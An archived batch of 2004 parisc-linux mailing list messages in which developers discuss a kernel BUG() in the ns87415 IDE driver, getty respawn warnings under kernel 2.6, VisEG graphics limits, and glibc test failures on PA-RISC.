	by cpout2.tiscali.be with esmtp (Tiscali) id 1B1LRL-0002hs-00
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Mar 2004 09:21:15 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 11 Mar 2004 09:21:14 +0100
In-Reply-To: <404EC1C6000012B4@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Mar 2004 08:21:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21043

Please apologies me for wrong m-l addressing.

Joel

> -- Original Message --
> Date: Thu, 11 Mar 2004 08:35:57 +0100
> From: "Joel Soete" <soete.joel@tiscali.be>
> To: parisc-linux-cvs@lists.parisc-linux.org
> Subject: [parisc-linux-cvs] tty[2..6]: respawning too fast with 2.6
> 
> 
> Hi All,

What do I miss: since runing 2.6 (even though the last 2.6.4-rc3-pa0) I
got messages:
"Mar 11 06:51:37 palinux init: Id "3" respawning too fast: disabled for 5
minutes
Mar 11 06:51:38 palinux init: Id "5" respawning too fast: disabled for  5
minutes
Mar 11 06:51:39 palinux init: Id "2" respawning too fast: disabled for 5
minutes
Mar 11 06:51:39 palinux init: Id "6" respawning too fast: disabled for 5
minutes
Mar 11 06:51:39 palinux init: Id "4" respawning too fast: disabled for 5
minutes"

the inittab file containing:
[snip]
# The default runlevel.
id:2:initdefault:

1:2345:respawn:/sbin/getty 38400 tty1
2:23:respawn:/sbin/getty 38400 tty2
3:23:respawn:/sbin/getty 38400 tty3
4:23:respawn:/sbin/getty 38400 tty4
5:23:respawn:/sbin/getty 38400 tty5
6:23:respawn:/sbin/getty 38400 tty6
[snip]

and the kernel config (the default one) contains well the support for 256
pty?

Thanks in advance for advise,
    Joel





-----------------------------------------
> ----------------------------------------------
Tiscali ADSL: 19,50 ?/mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr



_______________________________________________
parisc-linux-cvs 
> ailing list
parisc-linux-cvs@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux-cvs



----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] ns87415 (superio) support for 2.6.x
Date: Thu, 11 Mar 2004 13:59:49 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <404EC1C6000018AB@ocpmta1.freegates.net>
References: <20040310224816.GA23292@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623257 6461 80.91.229.3 (22 Nov 2014 02:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:37 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>, parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Thu Mar 11 05:59:58 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 033C348DF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Mar 2004 05:59:58 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B1Pmz-0007ba-00; Thu, 11 Mar 2004 13:59:53 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 11 Mar 2004 13:59:49 +0100
In-Reply-To: <20040310224816.GA23292@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Mar 2004 12:59:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21044

Hi Randolph,

> This patch fixes ns87415 to work on suckyio-based boxes. the device
> reports that dma is enabled, but from the performance we get it 
>looks like something is still not quite right (we only see ~3MB/s)
>
>Patch is against 2.6.4-rc3-pa5....  tested on c3000 and c3750. 
>(Thanks Max.)

I just build the new 2.6.4-rc-pa6 (in which this patch is included also if
i didn't miss anything?) and boot it successfully on my b2k. Any way I noticed
a 'kernel bug()' in dmesg:

Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
kernel BUG at include/asm/ide.h:30!
Kernel addresses on the stack:
 [<10124bf8>] printk+0x188/0x1c8
 [<101036b8>] dump_stack+0x18/0x24
 [<1023e6dc>] init_hwif_data+0xd0/0x2e8
 [<101eaac4>] create_dir+0x4c/0x64
 [<104385bc>] init_ide_data+0x44/0x58
 [<10438fb0>] ide_init+0x44/0x80
 [<1042c780>] do_initcalls+0x58/0xf8
 [<101001d0>] init+0x28/0xd4
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

kernel BUG at include/asm/ide.h:30!
Kernel addresses on the stack:
 [<10124bf8>] printk+0x188/0x1c8
 [<101036b8>] dump_stack+0x18/0x24
 [<1023e6dc>] init_hwif_data+0xd0/0x2e8
 [<101eaac4>] create_dir+0x4c/0x64
 [<104385c4>] init_ide_data+0x4c/0x58
 [<10438fb0>] ide_init+0x44/0x80
 [<1042c780>] do_initcalls+0x58/0xf8
 [<101001d0>] init+0x28/0xd4
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

NS87415: IDE controller at PCI slot 0000:00:0e.0
NS87415: chipset revision 3
NS87415: 100% native mode on irq 103
    ide0: BM-DMA at 0x0900-0x0907, BIOS settings: hda:DMA, hdb:DMA
    ide1: BM-DMA at 0x0908-0x090f, BIOS settings: hdc:DMA, hdd:DMA
hda: LTN485S, ATAPI CD/DVD-ROM drive
Using anticipatory io scheduler
ide0 at 0xe00-0xe07,0xd02 on irq 103
hda: ATAPI 48X CD-ROM drive, 120kB Cache
Uniform CD-ROM driver Revision: 3.20


Thanks for your help,
    Joel

PS: this b2k is only equiped with a simple (readonly :O ) ide cdrom drive


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ns87415 (superio) support for 2.6.x
Date: Thu, 11 Mar 2004 14:02:00 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20040311140200.GJ2148@parcelfarce.linux.theplanet.co.uk>
References: <20040310224816.GA23292@tausq.org>
	<404EC1C6000018AB@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623257 6467 80.91.229.3 (22 Nov 2014 02:27:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:37 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Thu Mar 11 07:02:03 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 680D648CA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Mar 2004 07:02:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B1Ql6-0005Ty-Tw; Thu, 11 Mar 2004 14:02:00 +0000
Content-Disposition: inline
In-Reply-To: <404EC1C6000018AB@ocpmta1.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Mar 2004 14:02:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21045

On Thu, Mar 11, 2004 at 01:59:49PM +0100, Joel Soete wrote:
> I just build the new 2.6.4-rc-pa6 (in which this patch is included also if
> i didn't miss anything?) and boot it successfully on my b2k. Any way I noticed
> a 'kernel bug()' in dmesg:
> 
> Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
> ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> kernel BUG at include/asm/ide.h:30!

ide_default_io_base()

Looks like we should just take out this BUG().  Randolph?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SilverHampster@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c360 and graphics card recommendations.
Date: Thu, 11 Mar 2004 09:25:26 EST
Lines: 38
Approved: news@gmane.org
Message-ID: <9e.56d9638.2d81d0d6@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="-----------------------------1079015126"
X-Trace: ger.gmane.org 1416623258 6471 80.91.229.3 (22 Nov 2014 02:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: SilverHampster@aol.com  Thu Mar 11 07:25:33 2004
Return-Path: <SilverHampster@aol.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-d05.mx.aol.com (imo-d05.mx.aol.com [205.188.157.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 611EB48CD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Mar 2004 07:25:33 -0700 (MST)
Original-Received: from SilverHampster@aol.com
	by imo-d05.mx.aol.com (mail_out_v37.4.) id n.9e.56d9638 (4320)
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Mar 2004 09:25:26 -0500 (EST)
X-Mailer: 9.0 for Windows sub 4005
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Mar 2004 14:25:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21046


-------------------------------1079015126
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

I know the fx2 does not work. cos I read all about it. I have found out  that 
the vis eg works but does it work with 24-bit colour and a 1280x1024  
resalution. I was also wondering if a old nvidia card would work but have a  fealing 
they need the x86 bios. OH this is of course to get x server running. 
thanx for any advice
DAniel

-------------------------------1079015126
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3DUS-ASCII">
<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY id=3Drole_body style=3D"FONT-SIZE: 10pt; COLOR: #000000; FONT-FAMILY:=20=
Arial"=20
bottomMargin=3D7 leftMargin=3D7 topMargin=3D7 rightMargin=3D7><FONT id=3Drol=
e_document=20
face=3DArial color=3D#000000 size=3D2>
<DIV>I know the fx2 does not work. cos I read all about it. I have found out=
=20
that the vis eg works but does it work with 24-bit colour and a 1280x1024=20
resalution. I was also wondering if a old nvidia card would work but have a=20
fealing they need the x86 bios. OH this is of course to get x server running=
.=20
</DIV>
<DIV>&nbsp;</DIV>
<DIV>thanx for any advice</DIV>
<DIV>DAniel</DIV></FONT></BODY></HTML>

-------------------------------1079015126--


From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c360 and graphics card recommendations.
Date: Thu, 11 Mar 2004 10:56:35 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20040311175636.A97DC37D0C@carmen.fc.hp.com>
References: <9e.56d9638.2d81d0d6@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623258 6475 80.91.229.3 (22 Nov 2014 02:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: SilverHampster@aol.com
Original-X-From: taggart@carmen.fc.hp.com  Thu Mar 11 10:56:37 2004
Return-Path: <taggart@carmen.fc.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id E27EC48E2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Mar 2004 10:56:37 -0700 (MST)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 959261C00849; Thu, 11 Mar 2004 12:56:37 -0500 (EST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 51E8A38909; Thu, 11 Mar 2004 10:56:37 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.11.146.74])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 0344D1340A0; Thu, 11 Mar 2004 10:56:36 -0700 (MST)
Original-Received: by carmen.fc.hp.com (Postfix, from userid 22223)
	id A97DC37D0C; Thu, 11 Mar 2004 10:56:36 -0700 (MST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 95CEF37D08; Thu, 11 Mar 2004 10:56:36 -0700 (MST)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.1-RC1
In-Reply-To: Message from SilverHampster@aol.com 
	of "Thu, 11 Mar 2004 09:25:26 EST." <9e.56d9638.2d81d0d6@aol.com> 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Mar 2004 17:56:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21047


SilverHampster@aol.com writes...

> I know the fx2 does not work. cos I read all about it. I have found out  that
> the vis eg works but does it work with 24-bit colour and a 1280x1024  
> resalution.

No. The VisEG hardware can only support 8-bit color(at up to 1600x1200). It 
also has support for something called Color Recovery in order to get more 
colors but support for that has only been implemented in the HP-UX Xserver 
and will probably never be done for Linux.

> I was also wondering if a old nvidia card would work but have a fealing 
> they need the x86 bios.

There has been lots of discussion on the mailing list about using PC 
graphics cards. Please search the list archives.(this should probably be 
added to the faq too) Short answer: it is possible for some cards, but I 
don't know if nvidia is one of them.

-- 
Matt Taggart        Linux and Open Source Lab
taggart@fc.hp.com   Hewlett-Packard




From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Thu, 11 Mar 2004 13:42:39 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <20040311184239.GC24266@baldric.uwo.ca>
References: <20040309150318.GD22721@baldric.uwo.ca>
	<404EC1C600000B2D@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623258 6478 80.91.229.3 (22 Nov 2014 02:27:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Thu Mar 11 11:57:03 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9773048CA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Mar 2004 11:57:02 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B1V8i-0006pV-00; Thu, 11 Mar 2004 13:42:40 -0500
Content-Disposition: inline
In-Reply-To: <404EC1C600000B2D@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 11 Mar 2004 18:57:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21048

On Wed, Mar 10, 2004 at 03:47:09PM +0100, Joel Soete wrote:
> The glibc cvs 2.3.3 cvs dated 20040308 + your patch compiles well (just this
> time I enable profiling) :).

Excellent.
 
> As I foreseen to use this disk to other test on the N4k, I grab the list
> of packages installed (dpkg --get-selection > /mnt/chroot/var/tmp/Selection.doc)
> and chroot to /mnt/chroot to install previously mentioned pkg list. All works
> fine (just 3 pkg failled to install because no /proc available in chroot).

Try binding your chroot if you want to expose your process list to the
chroot 'mount -o bind /proc /mnt/chroot/proc
 
> In the same time I drive a make -k check and just get additional Errors:
> [...]
> make[2]: *** [/Develop/parisc-linux/build/glibc/libio/tst-mmap-eofsync.out]
> Error 1
> make[2]: *** [/Develop/parisc-linux/build/glibc/libio/tst-mmap-fflushsync.out]
> Error 1

Your kernel is too old, jejb fixed these.

> make[1]: *** [libio/tests] Error 2
> make[2]: [/Develop/parisc-linux/build/glibc/posix/annexc.out] Error 1 (ignored)
> make[2]: *** [/Develop/parisc-linux/build/glibc/elf/multiload.o] Error 1
> make[2]: *** [/Develop/parisc-linux/build/glibc/elf/origtest.o] Error 1
> [...]

The 'annexc.out' is an expected failure. The other two failures are new
and unknown, they aren't segfaulting which is good (Error 1), they just
aren't completing for some reason. Most likely they are taking too long
and timeout before the 2 second maximum. If they *are* timing out, set
TIMEOUTFACTOR=10 or 100 in your environment, this scales the test
timeout.
 
> I have two hypothesis:
> a. it is the first time I added enable-profile;

No, profiling works.

> b. I forget to build first gcc(3.3) tool with your gcc patch (gcc/config/pa/fptr.c)

No, I fixed this in glibc such that gcc doesn't have to be recompiled.
If I hand't the userspace would have been *completely* broken, since
function pointer comparisons wouldn't have worked.
 
> Now, 2.6.4-rc3-pa0 is just available, I will so try first to build it in
> the chroot disk...

That should fix the mmap failures, please check to see if the other two
failures are timeout related.

c.



From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Fri, 12 Mar 2004 16:32:34 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <404EC1C600002A41@ocpmta1.freegates.net>
References: <20040311184239.GC24266@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623259 6481 80.91.229.3 (22 Nov 2014 02:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Fri Mar 12 08:32:39 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EAA9484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Mar 2004 08:32:39 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B1oeJ-0002fM-00; Fri, 12 Mar 2004 16:32:35 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 12 Mar 2004 16:32:34 +0100
In-Reply-To: <20040311184239.GC24266@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Mar 2004 15:32:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21049

C.,

>> As I foreseen to use this disk to other test on the N4k, I grab the list
>> of packages installed (dpkg --get-selection > mnt/chroot/var/tmp/Selection.doc)
>> and chroot to /mnt/chroot to install previously mentioned pkg list. All
works
>> fine (just 3 pkg failled to install because no /proc available in chroot
>> .
>
>Try binding your chroot if you want to expose your process list to the
>chroot 'mount -o bind /proc /mnt/chroot/proc

That works fine (thanks).
 
[snip]

>That should fix the mmap failures, please check to see if the other two
>failures are timeout related.

I now rebuild a 2.6.4-pa1 with this same libc  and reboot the system with
this kernel (you had right it was still runing an old 2.4.21-pa2 :( ) and
here are the make -k check results:
without TIMEOUTFACTOR:
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-float.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-double.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-ifloat.out] Error
1
make[1]: *** [math/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/tst-strtod.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/bug-strtod.out] Error
1
make[1]: *** [stdlib/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/posix/tst-regex] Error 1
make[1]: *** [posix/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex10] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex11] Error
1
make[1]: *** [linuxthreads/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/resolvfail] Error 1
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-tls13.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-dlmodcount.out] Error
139
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

with export TIMEOUTFACTOR=100

make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-float.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-double.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-ifloat.out] Error
1
make[1]: *** [math/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/tst-strtod.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/bug-strtod.out] Error
1
make[1]: *** [stdlib/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/posix/tst-regex] Error 1
make[1]: *** [posix/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex10] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex11] Error
1
make[1]: *** [linuxthreads/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/resolvfail] Error 1
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-dlmodcount.out] Error
139
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

So only [/Develop/parisc-linux/build/glibc/elf/tst-tls13.out] seems to be
related to TIMEOUTFACTOR

hth,
Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
